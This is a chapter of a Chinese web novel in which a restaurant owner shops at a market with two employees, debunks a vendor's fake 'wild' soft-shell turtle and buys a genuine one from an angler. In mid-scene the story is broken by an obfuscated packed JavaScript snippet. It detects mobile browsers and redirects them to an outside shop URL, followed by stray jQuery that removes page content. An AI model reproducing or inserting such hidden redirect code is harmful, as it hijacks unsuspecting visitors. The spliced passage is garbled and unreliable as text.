次日早晨，凌越开门遇见的不是顾客，而是两位员工。


    “你们过于早了。”凌越倚在门框，手里的牛肉包子散发出迷人的香味，本就没吃早餐的俩人此时恨不得一把夺过美味包子，但理智还是战胜恶魔。


    “姐，吃包子呢？”


    “厨房有，自己去拿吧。”凌越话还没说完，就听到“咻”的两声，只留下一阵风。


    嚼包子的动作停下，凌越不由得鼓掌：“这速度，两个吃货。”


    “喔，好烫。”路仁拿着一个牛肉包，白嫩Q弹，轻轻一掐面皮缓慢地回弹，即使烫手，她依旧舍不得放下。


    敷衍地呼呼吹，咬一口，皮带着馅儿，肉是微散开的，并不像如今的早餐铺包子那般一坨肉一块皮。


    你可以感受到麦香与肉香，包子外皮柔软，微微的甜味并不突兀，仿佛一朵轻柔的云朵。


    牛肉鲜嫩多汁，每一口都有着肉香四溢的满足感。


    路仁一连吃了三个，直到胃装不下，这才罢休，再一转头，邓一珩已经吃有五个了！


    “你八戒转世吧。”路仁无比羡慕。


    邓一珩表示这都是小小意思。


    “既然你们都是真好吃的员工了，以后店里有的食物你们都可以吃，当然前提是非营业时间，如果你们想吃每日菜单中的菜，我可以预留食材给你们打包带回去。”


    凌越对待俩人其实算是员工也算是朋友，如果是正常领工资的员工，她肯定没那么细致了。


    “没问题，我现在就可以修理花草，工具我都自带了。”


    邓一珩指向自己带来的小推车，里面是各式各样的修剪花草的工具。


    凌越：这一千花得挺值，员工自带工具上班！


    “别着急，跟我一同去菜市场逛逛，顺便，提东西。”凌越眼神示意在场唯一的男性邓一珩。


    邓一珩很乐意：“走着。”


    三人骑车出发，青华菜市场——


    早晨七点热闹无比，长海是没有早市文化的，但并不影响吆喝声之多。


    一路上，早餐的机器里散发的食物蒸汽烤着三人。


    但都不为所动。


    凌越今天要推出三千元菜品，那么首先食材肯定得硬，但这东西不好遇上。


    “越越，你需要买什么菜呀？”路仁跟着凌越一路走。


    这一路上她丝毫没有要停下问价的意思，饶是路仁，都有好几次想要消费的冲动了。


    “想看看有没有野生的甲鱼售卖。”


    “野生甲鱼？老大，你想买的话，我可以给你介绍渠道。”邓一珩适时插嘴。


    凌越眉梢微挑：“你连这的渠道都有？”


    “我有几个钓鱼佬朋友，经常能钓上来一些奇怪的东西，野生甲鱼也钓起来过，我可以替你预定。“


    “采纳，记得帮我留意，不过得先让我看到照片。”


    “那肯定的。”


    二人说完，就真让凌越看到一个卖甲鱼的摊位。


    他自称野生。


    凌越走上前，问价。


    老板气质与穿着如此不凡的三人，特别是为首的女子，这漂亮的长相更是少见。


    于是极力推销，语气激动：“小老板们？买甲鱼呀？这只五斤纯野生。”


    凌越仔细看一眼他池子里的五斤甲鱼，眉头一皱。


    甲鱼，要说滋味，野生的实在完美，裙边韧糯有嚼劲，肉质紧，成块且好嚼。


    而养殖的甲鱼，呡下来口感有一丝丝的软塌，与野生相比，完全不是一个level。


    老板话不带停的给凌越洗脑推销，他抓着甲鱼，全方位介绍：“姑娘，你看这甲鱼，多么活泼！纯野生的，是在我们家水库发现的，你要是喜欢，得抓紧买，要的人可多了。”


    凌越：“老板，你这不是野生的甲鱼，养殖甲鱼，最多六十块一斤，你六百一斤，太黑了吧？”


    在凌越一左一右，已经被老板忽悠得要掏钱包的路仁禾邓一珩。


    假的？


    她们无条件相信凌越。


    老板听闻凌越的话，面色一黑，瞬间换一副语气：“姑娘，你不识货我不怪你，没钱买我也不怪你，但是你不能乱讲啊！”


    “我乱讲？那行，我给你好好讲讲。甲鱼野生和养殖的差别很大，首先是胆量。野生的甲鱼野得很，人的手戳它都不带缩的，甚至还想跟人较劲儿，养殖甲鱼恰恰相反。”


    凌越说完伸出手戳了戳面前的甲鱼，果然，脑袋极速缩进壳里。


    接着又说：“野生与养殖的甲鱼，二者甲壳花色不同，野生甲鱼的花色是错乱的，不规则，而老板你这手上这只……”


    没眼看。


    “你吹吧，我自家水库捉到的甲鱼，能不是野生的？”


    “周边有人工养殖的跑出来的概率极大，你家水库附近是不是有养殖塘，你自己心里清楚咯。”


    说完，凌越带着两人离开，不想要再跟这老板科普了，永远叫不醒一个装睡的人。


    她说出来也是不想让其他人上当受骗，五百就能买的，没必要多加一个零。


    “越越，你刚刚说的，都是真的啊？那甲鱼我看着也挺野生的哎，个头确实大。”


    “个头大，不代表就是野生，野生与养殖甲鱼还有一个最本质的区别，黄油的多少。”


    “黄油？”


    邓一珩也疑惑了，他吃过甲鱼，但都是熟了端上桌的，黄油是什么没见过。


    “黄油可以理解为脂肪，在宰杀时候会见到的一种粘液，野生甲鱼黄油要比养殖的少很多，不能说是全部没有。


    因为野生的甲鱼通常饿一顿饱一顿，所以黄油少，就像是一个常年饥饿的人没有大肚腩是一样的道理。”


    凌越耐心给两人科普。


    邓一珩恍然大悟： “原来是这样！学到了，没想到我一个不会下厨的人，居然还挺喜欢听关于食物的科普。”


    “多看几集纪录片也能学到。”凌越并不得瑟，有心人多查查资料也能学会。


    “纪录片我是看不下去的，但咱凌姐的科普，我是爱听的。”


    邓一珩有个优点，会说话。


    这孩子带在身边，挺开心。


    “唉，今天难道真遇不到野生甲鱼了么？”凌越在菜市场逛了一圈，已经想要放弃了，想着买一些海参和鲍鱼回去时，她转角遇见爱。


    一位有着全套钓鱼装备的中年男子，带着帽子，但遮不住眼底的乌青。


    他打着哈欠，坐在一个小马扎上，都着腿儿，和周围的吆喝声格格不入。


    他很悠闲。


    仿佛此刻的他是不是在摆摊，而是在度假，周围的吆喝是他的配乐。


    凌越随即确定，恐怖的钓鱼佬！这大叔一看就是通宵钓鱼，黑眼圈是他的凭证。


    她走上前，晃晃手：“叔？”


    大叔闻眼睁开眼，将耳机摘下：“老妹儿，买鱼啊。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14152302|148046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“甲鱼怎么卖？”


    凌越询问让大叔猛一惊，这小姑娘，识货之人！


    甲鱼只有四斤半，但绝对野生。


    “550一斤，这甲鱼四斤半左右，野生公。”


    “帮我装起来吧。”凌越说完拿出手机付款一气呵成。


    手边两位：这也太爽快了些吧！


    他们逐渐好奇，饭馆今日份菜单了，但是甲鱼仅有一只，不知道是哪位幸运儿能够吃到……


    凌越又领着两人逛遍菜市场的肉类区，蔬菜区以及水果区，带他们认识食材的名称以及挑选方法。


    还顺便加了很多商贩的微信，做饭馆的嘛，当然是要多多结交这些种植养殖户咯。


    让凌越没想到的是，路仁的算数能力远比她想的更厉害。


    三万以内的数，她三秒就能正确心算出来。


    压根就不需要再敲计算机。


    这时的路仁拿着小本本记录，只听她说：“越越，你每日营业前，把菜单先告诉我，我帮你定价，这两天你定价太低了，柴米油盐还有纸巾碗筷等等成本你都没算进去。”


    凌越一脸欣慰，拍拍路仁的肩膀：“仁崽，饭馆有你，不怕亏本！”


    “嗯？”


    还没等路仁反应过来，凌越已经走到前边的摊位购买羊肉。


    ……


    一直到九点，三人才提着大包小包放在三轮车上。


    邓一珩自己骑着小电驴跟上，路仁则是和凌越同座三轮。


    “越越，你为什么不去商超呀？这菜市场太混杂了。”路仁嗅了嗅身上的各种生禽交织的气味，有些嫌弃。


    别臭着咱越越。


    凌越则是淡淡一笑，说：“商超的蔬菜都是和大型农业公司合作的，普通农户的蔬菜没有机会进商超，但他们的蔬菜往往更好更健康，而且，他们更需要因此而生活。”


    她不是什么善人，但也不坏，有些互惠互利的事，恰巧也能帮到需要帮助的人，何乐而不为。


    普通农户花心思种植出来的健康蔬菜，售卖于饭馆这样需求量高的，也是帮他们解决积压了。


    “哦～怪不得你买菜的时候，更多的是选择卖菜的人，而不是菜本身。”


    她知道凌越为什么加那些叔叔阿姨甚至爷爷奶奶的号码了。


    “想太多了，她们卖的蔬菜确实不错我才买的。”


    “嘴硬的女人。”


    ……


    回到饭馆，邓一珩已经识趣儿的开始修理花草，路仁有她的一技之长！


    他邓一珩也有！！


    凌越看着眼里有活儿的两人，又被欣慰到了。


    她目前只一个人处理饭馆营业期间的食材还是可以的，而且她的饭馆目前还没有任何的实质性宣传，靠的全是回头客以及回头客无意识传递的口碑。


    这样也挺好，如果忽略掉一个月十万纯利润营业额的任务。


    先写上菜单。


    她不是个三分钟热度的人，但她不想几道菜每天都炒，会腻。


    所以今日份菜单：


    一道特色菜葱油翘嘴、一道私房菜野山椒脆肚、一道冷菜凉拌蒜苔、一道素菜莴笋炒山药。


    “啊，今天的菜都是我喜欢吃的。”路仁洗菜的动作一顿，探头望去，菜单上每一个字都在勾引她。


    “那也得等下班了才能吃到。”


    凌越今天购买的食材少了许多，每样菜只能做十份，今天的重头菜是三千元！